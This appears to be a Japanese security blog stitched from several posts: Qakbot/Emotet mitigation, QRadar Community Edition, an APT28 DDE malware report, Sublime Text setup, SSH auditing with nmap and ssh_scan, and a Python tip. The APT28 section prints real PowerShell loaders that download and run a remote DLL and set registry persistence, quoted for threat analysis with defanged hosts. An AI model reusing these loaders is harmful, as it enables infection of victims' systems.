また、xn--で始まるDNSクエリはログを記録し、モニタリングしておく、等ということができれば、「こんなフィッシング攻撃が来ているかもしれない」ということに気付くことができそうだ。 「うちGmail使えないんですよー」というのと同じ感覚で「うち日本語ドメインサイトにアクセスできないんですよー」、ということで、いいんじゃないかな

 

前置きが長かったわりに話としては「こういう手口もあることだから、xn--ドメインアクセス拒否しちゃっておいても良いかもね」というだけ。 重要なのは、「こういうドメインブロックしたいな」と思った時に、サラッとできる仕組みをあらかじめ作っておくことなんだねぇ真顔

 

まとめ: 日本語ドメイン いらなくない?

元記事タイトル: Mitigating and eliminating info-stealing Qakbot and Emotet in corporate networks (Windows Security blog)

元記事URL: https://blogs.technet.microsoft.com/mmpc/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/

 

日本ではまだ(?)見聞きしないですが。最後の方にいくにしたがってWindows Defender Advanced Threat Protectionが超素敵に思えてくる不思議。

 

ざっくり訳しました。

 

QakbotとEmotet are 何

  • QakbotEmotet情報窃取マルウェア(information stealers)でここ数カ月新たな活動をしている
  • QakbotとEmotetは技術的には異なるマルウェアファミリーだが挙動において共通点が多くある
  • オンラインバンキングの認証情報を盗むことが最終目標である
  • キーロガーなどを使ってそれ以外の情報も窃取する

ここ最近の変化

  • 個人ユーザーをターゲットにしているとされてきたが、徐々に企業内における感染が増えている
  • Qakbot、Emotetはそれぞれ、内部コードが改善されてきている

共通する挙動(キルチェーン)

QakbotとEmotetは、キルチェーンが共通している点が多くある。
※キルチェーンとはマルウェアが目標達成するまでの一連の活動。詳しくはウィキペディアへどうぞ (https://ja.wikipedia.org/wiki/%E3%82%AD%E3%83%AB%E3%83%81%E3%82%A7%E3%83%BC%E3%83%B3
 

トリガー (Arrival and installation)

  • 添付ファイルつきEメールまたはウェブサイトからのダウンロード
  • ドロッパーはサンドボックス検知を回避するため10~15分スリープする
  • Qakbotの亜種にはエクスプロイトキットを通じてインストールされることがあり、暗号化された設定データを含むDLLファイルとともにインストールされる

永続化(Persistence)

  • ドロッパーは新しいexplorer.exeにDLLを挿入(inject)し、自分自身を削除する
  • ペイロードがランダムなフォルダにランダムなファイル名で保存される
  • 自動実行されるようペイロードを設置、レジストリ値の追加を行う
  • マルウェアは自分自身をWindowsサービスとして登録することもある
  • スケジュールタスクが定期的にペイロードを実行

制御サーバーとの通信(Command-and-control)

  • QakbotとEmotet通信するC&Cサーバーは、ハードコードされているか、ドメイン生成アルゴリズム(DGA、Domain Generation Algorithm)で生成されている
  • 情報は暗号化してHTTPまたはFTPで送信する
  • 最近のEmotetの亜種は情報窃取や感染を広げるような悪意のあるコードを自身の内部に保持しておらず、C&Cサーバーから追加モジュールをダウンロード、抽出して使用する

情報の窃取(Information theft)

  • 入力されたキーを収集する
  • 亜種によってはブラウザやネットワーク関連のAPIをフックし情報を収集する
  • クッキーや証明書も収集する

横展開・二次感染(Lateral movement)

  • アクセス可能なすべてのネットワーク共有、ネットワークドライブ、USBフラッシュドライブなどのリムーバブルドライブ(!)すべてに対して感染を広げる
  • カレントユーザーの認証情報や収集した認証情報をつかってデフォルトの管理共有や共有フォルダに感染を広げる
  • Active Directoryアカウント列挙で得られたユーザー名や、よく使われるユーザー名に対してブルートフォース攻撃を行う
  • SMB(Server Message Block)を使い、他の端末にコピーを設置してリモート実行によりリモートから動作させる

Qakbot、Emotetへの対処法

マルウェアの拡散およびC&Cサーバーとの通信を遮断する

  • 感染端末の切り離し(Windows Defender ATPを使えばワンクリック)
  • ホストファイアウォール(Windows Defender Advanced Firewall)のルールを作成しグループポリシーで配布する
  • 感染の兆候があった場合共有フォルダを無効にするか読み取り専用にする
  • 管理共有の削除は副作用もあるので最後の手段と考える
  • 不要な権限やアカウントは削除または無効化する

感染端末における活動(自動起動)を阻止する

Qakbot、Emotet、および関連するマルウェアを削除する

  • アンチウィルスベンダにサンプルを提出する。スケジュールタスクを確認すれば対象のバイナリがわかる(MS顧客の場合、Windows Defender Security Intelligence submission portalへ)
  • 定義ファイルを更新、クラウドプロテクションを有効に(Enable cloud-delivered protection)して影響をうけるすべての端末でフルスキャンを行う
  • 検知できていない亜種を探す。探すためにはスケジュールタスクを確認する。またSysinternalsのツールAutorunsも役に立つ
  • Windows Defender ATPを使っている場合、SHA1、IPアドレス、URLなどの既知のアーティファクトで探すこともできる

再感染していないかモニタリングする

  • 初期アタックベクターを識別する。Windows Defender ATPを使うとタイムラインや前後の流れなどもわかるので活用しましょう
  • ネットワークに戻すときは一部のみアクセス可能にするなどしてゆっくりと再接続させる。そして再感染しないかをモニタリングする
  • Windows Defender Antivirusでクラウドベースプロテクション、自動サンプル提出を有効にする

その他、Windows10ではWindows Defender Application Guard、Exploit Guard、Atttack Surface Reduction、などなどを活用すると良いという話。割愛。

IoC

  • Qakbot、EmotetそれぞれのIoC(ファイル名、レジストリ値、C&CサーバーのIPアドレスなど)は元記事にあるのでそちらでご確認下さいませ
 
全体を通して、それほど目新しいことは意外となかったけど特定マルウェアファミリーのキルチェーンとその対処法を再整理するのに、良い勉強になりました。
 
 

まとめ: ところで読み方は角ボット、エモテット で良いんですかねぇ

ついに出ました、QRadar Community Edition。長年出る出る詐欺と言われ続けていましたがやっと。やっと出ました。待ち焦がれすぎてうっかり転職までしちゃいましたよもう。(だからなおさら待ち焦がれてたというのもある。)

 

まだ触ってみるところまでたどり着けなかったけど今回の記事はひとつ記念にということで。

 

(公開にこぎつけて記念パーティーで盛り上がっているさま。嘘。Community Editionのトップページ)

 

QRadar Community Editionのページ https://developer.ibm.com/qradar/ce/

QRadar Community Editionのドキュメント (PDF) https://developer.ibm.com/qradar/wp-content/uploads/sites/89/2017/11/b_qradar_community_edition.pdf

QRadar Community Edition is 何

  • QRadar はIBMが提供するいわゆるSIEMとその周辺の製品群(IBM的に言うとSecurity Intelligence Platform
  • QRadar Community Editionは、機能や扱えるログの量に制限があるかわりに無償で使うことのできるエディション
  • QRadar は通常物理アプライアンス、仮想アプライアンス、またはQRadar on Cloud等の形態で提供されているがCommunity Editionについてはソフトウェアとして提供される

どんな風に使えるのか

無料とはいっても、ライセンス・規約があるので何でもかんでも自由に使えるわけではないでしょう。これはどこかのタイミングで少し詳しく確認したい。

 

Community Editionで想定されているうちの最も重要なのはおそらくAppの開発なのではないかと。サードパーティーベンダにガンガンAppを開発してもらう環境を提供するという意味が大きいのではないかと予想。または新規ユーザー参入狙いか。まぁ、そのへんは、気にしないでいいか。この手の製品で無償版が提供されているものはほぼ、ない(Splunkは少量なら無償でログサーチだけは使えるもののEnterprise Security Appが使えるわけではないので)ため、業界というか、競合としてはなんだか焦りますよね。

ダウンロード

  • このページ ( https://developer.ibm.com/qradar/ce/ ) からダウンロード可能(要ユーザー登録)
  • QRadar Community Editionのダウンロードにはユーザー登録が必要。ログイン済なセッションがあった気がするので正直ちょっとよくわからなかったけどおそらくIBM IDの登録は必要で、Community Editionのダウンロードにはさらに追加情報の登録が必要、という感じか。それ自体は難しい手順ではなかった。これが必要ですと言われたら入力して進んでいけば特に問題なくダウンロードまでいけるはず
  • ちなみにgmailでも登録することはできた。しかしユーザー登録時の情報に会社名もあり、個人ユーザーとして使うことに何か制約があるのかはあとで確認したい

制限事項

Community Editionで制限されている機能。

 

詳しくはドキュメントに書いてあるが、商用版ではできるがCommunity Editionではできないこと、使えない機能は以下の通り。ついでに検証したいこととかのメモも。

  • ✘ X-Force Threat Intelligence IP reputation feed integration
    • IBMの脅威インテリジェンス情報のフィードを取り込むことができない
    • 任意の情報を取り込むことはおそらくいくつかの方法で可能ななずなのでそれを検証したい
  • ✘ Historical correlation
    • 過去のログに対してルールに合致するデータがないかを遡って検索する機能が使えない
    • できたら良かったけど過去は振り返らないことにしますよと
  • ✘ QRadar Vulnerability Manager
    • 脆弱性管理のモジュール。簡単に言うと脆弱性スキャナーが使用できない
    • QRadarコンソールから直接スキャンの実行等ができないとしても、アセット情報や脆弱性情報の取り込みはできると思うので、それを試したい
  • ✘ QRadar Risk Manager integration
    • ファイアウォールやルータ等の設定を取り込むことで、ポリシーチェックやアタックパス分析等を行えるモジュール。これが使用できない
    • これは使い方が難しいのでまあ良い
  • ✘ QRadar Incident Forensics integration
    • ネットワークトラフィックを収集、完全保存して後から検索、中身の再現をしたりできるモジュール。これが使用できない
    • これも検証したい点は特にないので良いかなと
  • ✘ QRadar Network Insights integration
    • ネットワークトラフィックをL7まで分析し、検知等に使用できるもの
    • 進化しているようで気になるところだが仕方ない
    • 代わりにファイアウォールログを・・・と言いたいところだがそういったログは膨大になると思うので、ここはひとつ我慢とする
  • ✘ High Availability
    • 冗長化構成がとれない
  • ✘ Uploading a license
    • ライセンスのアップロード。商用版の場合追加でライセンスをアップロードすると機能が有効になったり扱えるログの量が増えたりするが、そういう使い方はできないので商用版を使うことに決めた場合はセットアップしなおしになるということですね
  • ✘ Software upgrades
    • これはRPMが一切提供されないのかマイナーバージョンアップ等もされないのかわからないがまあ良し
    • 使える機能のほうに「Auto Updates」ともあるので、バグフィックスや通常のパッケージは落ちてくるのかなと

インストールについて

ここではドキュメントに書いてあることを簡単にまとめ。

  • OSCentOS 7.3のminimal installation
  • インターネットに接続できる必要がある
  • システム要件は以下の通り
    • メモリ: 最低4GB。使用するappによってはもっと多くのRAMまたはapp node(appを動かすためのノードをスケールアウトできる)が必要になることもある
    • ディスクスペースの空き: 最低80GB、できれば130GB以上
    • CPU: 最低 2コア
    • ネットワークアダプタ: 最低1つ。もしローカルのVMを使う場合はポート8444を443に、ポート2222を22にフォワードする必要がある(む?どういうこと?)

思ったよりスペックは要求されていない。本当に動くのか?と思ってしまうレベル。

インストール手順は上記ドキュメントにあるので、実際「やってみた」のときに記録しよう

DSMについて

DSM(=Device Support Module、各種ログをパース、正規化してQRadarに取り込むモジュール)が、大量にあるがCommunity Editionではデフォルトで一部しか有効になっていない。必要に応じて後で自分で追加する必要がある。これは要求スペックを下げるためなのかインストーラーのサイズを小さくするためなのかわからないがおそらくそういうことだろう。まあ限られたものしか使わないだろうからまったくもって構わないのだけど。

 

どんな機器(ログ)のDSMがあるのか、および、どうやって設定を行うのか(または設定が必用ないのか)の情報は、 IBM Security QRadar SIEM DSM Configuration Guide に載っている。

DSM構成ガイド: http://public.dhe.ibm.com/software/security/products/qradar/documents/iTeam_addendum/JA/b_dsm_guide.pdf

次にやりたいこと

QRadar Community Editionのダウンロードが3時間くらいかかったので今日はここまで。その間にしびれを切らしてドキュメント読んで書いてしまい今回は中身はなかったので、今後やりたいことを書いておこう。

  • ローカルで環境構築
  • Azure上で環境構築 (HOT)
  • OSSなものを活用して簡単な監視ができて実践でも使えちゃうようなサンプルをひととおり作ってみたい(HOT)
  • appを作ってみる、なんていうのもしてみたい
  • 非公式QRadarユーザー会 in Nipponなんていう野望もある
 
まとめ: 興奮して今夜は眠れそうにないで( ˘ω˘)スヤァ

元記事タイトル: Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack (McAfee)
元記事URL: https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/

抄訳になりますです。

 

5行で言うと

  • McAfeeのアナリストによると、APT28がはじめてDDE(Dynamic Data Exchange)を使ったWord文書を使用して活動している
  • APT28がDDEを使うのは初めてと思われる
  • DDEとPowerShellを組み合わせると、被攻撃者のシステムで任意のコードが実行されてしまう
  • マクロが無効になっていても関係ない(実行できてしまう) ※これが特に問題だと言われ話題になっている
  • APT28はいくつかのテーマについてフォーカス(利用)しているが、今回はニューヨークでのテロリストによる攻撃に関連すると見せかけたファイルを使用している

DDEによるコードが埋め込まれたWord文書の概要

  • 文書自体は空(から)で、一度開くと制御サーバーと通信をし、第一段階のマルウェア Seduploader をダウンロードする
  • この文書ではDDEを利用したPowerShellのコマンドを2つ実行する
  • Seduploaderの配布に使用されているドメインはSeduploaderが作成された11日前の10月19日

Word文書の詳細

  • Filename: IsisAttackInNewYork.docx
  • Sha1: 1c6c700ceebfbe799e115582665105caa03c5c9e
  • Creation date: 2017-10-27T22:23:00Z
  • 1つ目のPowerShellコマンドは以下の通り(Docxに埋め込まれている)
C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘hxxp://netmediaresources[.]com/config.txt’);powershell -enc $e #.EXE
  • 2つ目は1つ目のコマンド無いでダウンロードしているconfig.txt内にBase64エンコードされた状態。デコードしたものが以下の通り。
$W=New-Object System.Net.WebClient;
$p=($Env:ALLUSERSPROFILE+”\vms.dll”);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$W.DownloadFile(“hxxp://netmediaresources[.]com/media/resource/vms.dll “,$p);
if (Test-Path $p){
$rd_p=$Env:SYSTEMROOT+”\System32\rundll32.exe”;
$p_a=$p+”,#1″;
$pr=Start-Process $rd_p -ArgumentList $p_a;
$p_bat=($Env:ALLUSERSPROFILE+”\vms.bat”);
$text=’set inst_pck = “%ALLUSERSPROFILE%\vms.dll”‘+”`r`n”+’if NOT exist %inst_pck % (exit)’+”`r`n”+’start rundll32.exe %inst_pck %,#1’
[io.File]::WriteAllText($p_bat,$text)
New-Item -Path ‘HKCU:\Environment’ -Force | Out-Null;
New-ItemProperty -Path ‘HKCU:\Environment’ -Name ‘UserInitMprLogonScript’ -Value “$p_bat” -PropertyType String -Force | Out-Null;
}
  • そして下記URLからSeduploaderをダウンロードする
hxxp://netmediaresources[.]com/media/resource/vms.dll

Seduploaderについて

  • Filename: vms.dll
  • Sha1: 4bc722a9b0492a50bd86a1341f02c74c0d773db7
  • Compile date: 2017-10-31 20:11:10
  • Control server: webviewres[.]net
  • 本Word文書ではまず、調査用(first-stage reconnaissance implant)のSeduploaderをダウンロードし、感染したホストの基本情報を制御サーバーに送信する
  • 対象システムが狙っていたものであれば、X-AgentまたはSedrecoのインストールへ進む
  • APT28が第一段階のペイロードとしてSeduploaderを使用するのはここ数年でみてよくあること
  • 今回のSeduploaderも、以前に使われたSeduploaderと同じものであるようだ

制御サーバードメインについて

  • 制御サーバーのドメインは webviewres[.]net に紐づいており、過去のAPT28のやり方と同様いたって問題ないように見せかけるドメイン登録テクニックを使っている
  • このドメインは10月25日に登録されており、その数日後にペイロードとWord文書が作成された
  • ドメインがはじめてアクティブになったのは10月29日で、この日付は実にSeduploaderがコンパイルされたほんの数日前である
  • ns1.njal[.]laとns2.njal[.]laのネームサーバーに登録されており現在185.216.35[.]26に解決している

さらなる調査で下記のサンプルも発見

  • Filename: secnt.dll
  • Sha1: ab354807e687993fbeb1b325eb6e4ab38d428a1e
  • Compile date: 2017-10-30 23:53:02
  • Control server: satellitedeluxpanorama[.]com. (上記と同じネームサーバーを使用)
  • 同じテクニック、ペイロードを使用しているので、これも同じキャンペーンのものと思われる
  • 11月5日現在、secnt.dllが使用するドメインsatellitedeluxpanorama[.]com89.34.111[.]160に解決する
  • 元ファイル名 SaberGuardian2017.docxsecnt.dll(Seduploaderペイロード)をダウンロードする
  • 10月27日にWord文書が作成され、hxxp://sendmevideo[.]com/SaberGuardian2017.docx からダウンロードさせる
  • SaberGuardian2017.docxは sendmevideo[.]org/dh2025e/eh.dll に通信を行い Seduploaderをダウンロードする
  • この文書おに埋め込まれているPowerShellコマンドは以下の通り
$W=New-Object System.Net.WebClient;
$p=($Env:ALLUSERSPROFILE+”\mvdrt.dll”);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$W.DownloadFile(“http://sendmevideo[.]org/dh2025e/eh.dll”,$p);
if (Test-Path $p){
$rd_p=$Env:SYSTEMROOT+”\System32\rundll32.exe”;
$p_a=$p+”,#1″;
$pr=Start-Process $rd_p -ArgumentList $p_a;
$p_bat=($Env:ALLUSERSPROFILE+”\mvdrt.bat”);
$text=’set inst_pck = “%ALLUSERSPROFILE%\mvdrt.dll”‘+”`r`n”+’if NOT exist %inst_pck % (exit)’+”`r`n”+’start rundll32.exe %inst_pck %,#1’
[io.File]::WriteAllText($p_bat,$text)
New-Item -Path ‘HKCU:\Environment’ -Force | Out-Null;
New-ItemProperty -Path ‘HKCU:\Environment’ -Name ‘UserInitMprLogonScript’ -Value “$p_bat” -PropertyType String -Force | Out-Null;
}
  • vms.dllのファイルの中身は、secnt.dllのファイルの中身と99%一致しているため同じキャンペーンとほぼ言い切れる
  • 他にもサイバーカンファレンス「Cy Con U.S.」を模したキャンペーンで使われたものとも99%同じである
  • 違いはサイバーカンファレンス Cy Con U.S. を模したキャンペーンではVBAスクリプトの実行、今回のテロを模したものはDDEでPowerShell実行、という部分だけである
  • APT28は新しいエクスプロイテーション手法も積極的に活用している
  • Cy Con U.S.ではVBSを使用したキャンペーンが広く知れてしまったため、ネットワーク防御をバイパスするためDDEテクニックを使ったのだろう

IoCは元サイトに記載があるので転記しません。(日本国内では観測されないだろうけども。)

 

 

結論: DDE新時代の幕開け

0. Sublime Text初期設定5つのポイント 概要

テキストエディターのSublime Text、ライセンスも購入してメモをとるにも簡単なスクリプト書くのにもいつも使っていますが、色々な環境でセットアップしていて毎回色々な方のウェッブサイトを拝見していますが初期設定で何をするか書いておいた方が良いかなと思い、自分用のメモとして残しておこうと思った、というわけです。

 

どんな環境設定を目指すか、また、どんな方法で実現するかというと、以下の5点になります。

  1. パッケージ管理をしたい ( PackageControlをインストールする )
  2. 日本語化をしたい ( Japanize をインストール・設定する )
  3. IMEの位置がおかしくなるのを直したい ( IMESupport をインストールする )
  4. Markdownのシンタックスハイライトをしたい ( Markdown Extended をインストールする )
  5. プログラムを申し訳程度に書くのでフォントを設定しておきたい ( Myricaフォントをダウンロード、インストールして設定する )
それぞれの設定について記録しておきます。
 

1. パッケージ管理をしたい ( PackageControlをインストールする )

昔はPackage Controlのサイト (https://packagecontrol.io/installation) からコードをコピー、コンソールに張り付けて実行、あ、あれ?エラー出るな・・・。あれ?あっ、途中で切れてた(爆)
 
なんてやってましたが、時代は変わりメニューバーから [Tools]→[Install Package Control...] をクリックすればインストールできます
 

(Package Controlがいとも簡単にインストールできてしまうさま。)

 

( Package Controlのインストールが終わったさま。 )

 

インストールが終わると、<Control+Shift+P> → "Install" と入力すれば [Package Control: Install Package] が見つかるようになります。

 

(Package Controlがうまくインストールされたことがわかるさま。)

 

2. 日本語化をしたい ( Japanize をインストール・設定する )

先ほどインストールしたPackage Controlを使い"Japanize"というプラグインをインストールします。有難し!

 

( <Control + Shift + P> → "Install (Package)" → "japani" まで打ってJapanizeプラグインが見つかっているさま。 )

 

Japanizeインストール後、 %APPDATA%\Sublime Text 3\Packages 以下のファイルを色々コピーしたりファイル名を変えたりする作業がありますが、

Japanizeインストール後に表示される手順に従うだけなのでここでは割愛します。

 

3. IMEの位置がおかしくなるのを直したい ( IMESupport をインストールする )

 

日本語入力時に、IMEの小窓がウィンドウの外の変なところに表示されてしまうので、ちゃんと入力されたところに表示されるようにするためのプラグイン。Package ControlでIME Supportをインストールするだけです。有難し!

 

( <Control + Shift + P> → "Install" (Package) <Enter> → "IME(Support)"と入力し、Enterを押すだけでインストールできるさま。 )

 

(IMESupportのおかげで入力している箇所でIMEの小窓が表示されているさま。)

 

4. Markdownのシンタックスハイライトをしたい ( Markdown Extended をインストールする )

Markdownはメモをとるのに便利なので多用します。このためMarkdown形式のテキストをシンタックスハイライトしてくれるプラグインをインストールします。手順は簡単、Package ControlでMarkdown Extendedをインストールするだけです。有難し!

 

なおMarkdown系のプラグインはたくさんあるようですが、わたくしの場合ざっくりハイライトしてくれれば十分なのでインストールするのはこれだけです。

 

IMESupport同様、Package ControlでMarkdown Extendedをインストールします。

 

( <Control + Shift + P> → "Install (Package)" → "markdown (extended)" を選択しインストールしているさま。 )

 

これで、拡張子 "md" のファイルはMarkdownハイライトされるようになります。

 

( Markdown (拡張子を.mdで保存したファイル)がMarkdown形式でシンタックスハイライトされているさま。 )

 

5. プログラムを申し訳程度に書くので良い感じのフォントを設定しておきたい (Myricaフォントをダウンロード、インストールして設定する)

Markdownもそうですがプログラム書くときにミスが起きづらいフォントにしておくことは大事です。というわけでフォントをOSにインストールし、Sublime Textのフォント設定も変更します。

 

フォントは何でも良いですがお気に入りはMyrica。こちらのサイト (https://myrica.estable.jp/) からフォントファイルをダウンロードし、インストールします。念のためMyrica.ttcと、MyricaM.ttcのzipファイルをダウンロードし、ダブルクリックしてインストールします。これはダウンロードサイトにも載っているのでここでは割愛します。

 

Sublime Textのフォント設定は、メニューバーから[基本設定] → [基本設定 - ユーザー]を選択します。するとPreferences.sublime-settingsというファイルの編集画面になるので、下記のように"font_face": "MyricaM M",を記入します。

 

( ユーザー設定ファイルにフォント設定を追記したさま。 )

 

ここでポイントとなるのはフォント名"MyricaM M"

 

フォント名 "MyricaM M"

 

しつこく言うならば

 

"MyricaM M"

 

Myricaフォントにはいろいろな種類が入っているのですが、どうもSublime Text 3ではMyricaM M以外は半角スペースが全角サイズのスペースになってしまうようで、読みづらい、本当に全角が入ってしまった時との違いがわからない、などプログラムのバグにすらなり得るため、ここはかなり重要で、"MyricaM M"を指定するのが現在のところは吉のようです。

 

もう一度書きますが

 

 

M y r i c a M   M

 

 

以上。あんまりコテコテに環境作りこみすぎると新しい環境作る時に大変なのでこれくらいにしています。

 

 

結論: なんかレモンサワーが流行っているらしい。

 

元記事: Auditing SSH Settings (some Blue Team, some Red Team) (SANS ISC Forum)

元記事URL: https://isc.sans.edu/forums/diary/Auditing+SSH+Settings+some+Blue+Team+some+Red+Team/22998/
参照URL(nmap): https://nmap.org/book/man-host-discovery.html
参照URL(ssh_scan): https://mozilla.github.io/ssh_scan/

 

意訳。

 

昨日はSSHの設定方法の再考、設定の更新についての話題だったね。組織全体への適用はもう終わっただろうから(アハハ冗談だぜアハハ)、じゃあこんどはそれをどうやって監査するかについて話そうか。そこにホストがあることや、SSHが動いていることすら知らないなんてことはよくあるよね。

 

初心者のみんな。nmapはグレイトな監査ツールなんだ。ポート22に対するシンプルなスキャンをしたいときはこんなふうにすればいい。

nmap -p 22 -Pn --open x.x.x0/24

(この例では22番ポートしかチェックしないことに注意。他のポートで動作しているSSHを見つけたいなら、お好みで222、2222、2323、場合によっては1-65535全部、といった具合でスキャンすれば良いんだ。)
訳注: "-Pn" は、PINGでのチェックをしない(No Ping)。つまり、PINGに反応しないホストでも「存在する」と想定する、という意味。そうしないと存在はするけどPingには反応しない設定になっているホストが対象の場合、「ホスト探索」フェーズで「ホストはダウンしてるか存在しない」と判断してしまい、スキャンフェーズに進まないまま終わってしまう。そして-P0や-PNと書くのは古くて、-Pnと書くのがナウい

サービスについての情報を得たい場合は(-sV)、OSについては(-O)をつけるともっと便利なスキャンになるね。

nmap -p 22 -Pn --open –sV –O x.x.x0/24

もしチェックしたいホストが数千と大量にあるよなら、一番最初の「オープンポートを探す」という部分についてはnmapの代わりんいMASSCANを使ってみると良い。めっちょ早いんだぜ。MASSCANはスピードに関しては素晴らしいんだけど、nmapやその他ツールはもっと複雑なことをしようとすると良い仕事しやがるんだ。

たとえばSSHバージョン1が稼働しているサーバーを探すには…

nmap -p 22 -Pn –-open x.x.x.0/24 --script sshv1.nse

SSHサーバーがサポートしている暗号スイート(アルゴリズム)が欲しければ…

nmap -p 22 -Pn --open x.x.x.0/24 --script ssh2-enum-algos.nse

 

それから先週くらいにいじってたツールもいい感じだったよ。Ssh-scanってやつなんだけど、ターゲットホストの、暗号スイートやリモートから推測できる設定がわかるし、さらにポリシーに基づいて推奨事項まで表示させることができる(デフォルトポリシーがいくつか、ツールに同梱されている)。こいつは単なるSSHスキャナーにあらず、だね。似たようなツールがたくさんあるけど、ssh_scanはTwitterでここ1カ月くらいで見つけたやつなんだ。NessusやOpenVASなんかもこういったチェックをするのに良いんだけどね。(やってみたよっていう人がいたらどうだったか教えてね!)

さてSsh_scanはインストールも超簡単。Kali上で以下のコマンドを実行するだけなんだ。(Rubyが入っているLinuxディストリビューションなら何でも良いよ。)

gem install ssh_scan

開発者のサイトにはDocker上での手順も載ってるよ。

一般的なホスト(ESXiでデフォルトのSSH設定)は以下のような感じになる。(赤いところが推奨事項の部分ね。)

#ssh_scan -t 192.168.122.50
[
  {
    "ssh_scan_version": "0.0.29",
    "ip": "192.168.122.50",
    "hostname": "",
    "port": 22,
    "server_banner": "SSH-2.0-OpenSSH_5.6",
    "ssh_version": 2.0,
    "os": "unknown",
    "os_cpe": "o:unknown",
    "ssh_lib": "openssh",
    "ssh_lib_cpe": "a:openssh:openssh:5.6",
    "key_algorithms": [
      "diffie-hellman-group-exchange-sha256",
      "diffie-hellman-group-exchange-sha1",
      "diffie-hellman-group14-sha1",
      "diffie-hellman-group1-sha1"
    ],
    "encryption_algorithms_client_to_server": [
      "aes128-ctr",
      "aes192-ctr",
      "aes256-ctr",
      "3des-cbc"
    ],
    "encryption_algorithms_server_to_client": [
      "aes128-ctr",
      "aes192-ctr",
      "aes256-ctr",
      "3des-cbc"
    ],
    "mac_algorithms_client_to_server": [
      "hmac-sha1",
      "hmac-sha1-96"
    ],
    "mac_algorithms_server_to_client": [
      "hmac-sha1",
      "hmac-sha1-96"
    ],
    "compression_algorithms_client_to_server": [
      "none",
      "zlib@openssh.com"
    ],
    "compression_algorithms_server_to_client": [
      "none",
      "zlib@openssh.com"
    ],
    "languages_client_to_server": [

    ],
    "languages_server_to_client": [

    ],
    "auth_methods": [
      "publickey",
      "keyboard-interactive"
    ],
    "fingerprints": {
      "dsa": {
        "known_bad": "false",
        "md5": "65:98:f9:e9:94:00:e4:21:d8:5a:d8:4e:b3:aa:d5:32",
        "sha1": "d8:c3:8b:da:3f:37:7e:f7:a3:d6:36:10:37:f5:6a:8d:df:e6:74:84",
        "sha256": "21:b0:70:98:0c:e3:1b:77:b3:fc:01:7c:dc:99:6a:ea:a9:57:f1:ef:90:8c:80:01:3e:17:6b:1e:51:22:c9:5a"
      },
      "rsa": {
        "known_bad": "false",
        "md5": "c4:6c:3b:22:f7:60:9a:57:9e:a1:df:84:66:53:15:92",
        "sha1": "ed:f4:d9:37:a6:be:8d:fc:de:dd:2a:68:a0:7e:08:cb:97:58:2c:d9",
        "sha256": "2b:37:be:45:7c:9c:c3:51:eb:15:54:97:54:9b:ab:6d:81:73:a1:94:66:62:e1:9b:4a:92:13:d7:92:f6:1d:84"
      }
    },
    "duplicate_host_key_ips": [

    ],
    "compliance": {
      "policy": "Mozilla Modern",
      "compliant": false,
      "recommendations": [
        "Add these key exchange algorithms: curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256",
        "Add these MAC algorithms: hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com",
        "Add these encryption ciphers: chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com",
        "Remove these key exchange algorithms: diffie-hellman-group-exchange-sha1, diffie-hellman-group14-sha1, diffie-hellman-group1-sha1",
        "Remove these MAC algorithms: hmac-sha1, hmac-sha1-96",
        "Remove these encryption ciphers: 3des-cbc",
        "Remove these authentication methods: keyboard-interactive"
      ],
      "references": [
        "https://wiki.mozilla.org/Security/Guidelines/OpenSSH"
      ]
    },
    "start_time": "2017-10-30 09:17:24 -0400",
    "end_time": "2017-10-30 09:17:25 -0400",
    "scan_duration_seconds": 1.034291524
  }
]

Note the recommendations section.  On ESXi especially, if you combine this with the advice from VMware and the CIS Hardening Guide, the guidance really boils down to “why did you enable SSH on that box anyway?” – for vSphere, really you are better off to use the API to script against the environment (which is usually why people enable SSH on that platform)

In another example, scanning a pfSense firewall (just the recommendations shown):
    "compliance": {
      "policy": "Mozilla Modern",
      "compliant": false,
      "recommendations": [
        "Add these key exchange algorithms: ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256",
        "Remove these MAC algorithms: hmac-ripemd160-etm@openssh.com, hmac-ripemd160",
        "Remove these authentication methods: password, keyboard-interactive"
      ],
      "references": [
        "https://wiki.mozilla.org/Security/Guidelines/OpenSSH"
      ]
    }

この例では、いくつか推奨事項があるけど、デフォルト設定の"password, keyboard interactive"という認証設定を削除すること、なんていうのが含まれているね。(つまりユーザーIDとパスワードの認証ではなくて鍵を使えということだね)。

もちろんNessusやOpenVASなんかですべてをスキャンするのは良いことなんだけど、そういうツールってアドバイスが重複の嵐だったりして冗長なんだよね。NessusやOpenVASもチョチョイといじればピンポイントの結果だけを出させることもできるけど、それ自体けっこう面倒だったしりてね。でも例えばもし「今日はインフラ全部のSSH直すぜ!」なんて日を決めたなら、nmapとssh_scanだけ使えば重要なポイントだけわかって仕事を終えて飲みに行けちゃうんだ。

もし他にオススメのSSH監査ツールがあったら、ぜひコメントに書いてほしい。

「SSH直しちゃうデー」を作ってやってみたとか、何か面白い話題があったらそれもコメントに書いてくれよな!

 

 

結論:投稿者の方がこんなに砕けてるかどうかはわかりません。

Python小ネタシリーズ。

  • Pythonネタのときは基本的にPython3を想定しています。
  • また >>> はインタプリタ実行だけど、入り混じってます。適当にどうぞ。

今回はcollectionsというモジュール、defaultdictCounterについて。ChainMapなんていうのもあるけどお手軽に使えるやつをということで。

 

通常のディクショナリは、存在しないキーを参照しようとした場合、KeyErrorが発生する
※代入しようとした場合、それは初期化になるのでエラーにならない

>>> d_normal = {}
>>> d_normal["noexist"] += 1
Traceback (most recent call last):
  File "", line 1, in 
KeyError: 'noexist'

defaultdictの仕組みを使うと、例えばint型の値を使うディクショナリ(風のdefaultdictオブジェクト)を使うことで存在しないキーをいきなり使うことができる(存在しない時のデフォルト値が、型によって補填される。intなら0。)

>>> from collections import defaultdict
>>> d_default = defaultdict(int)
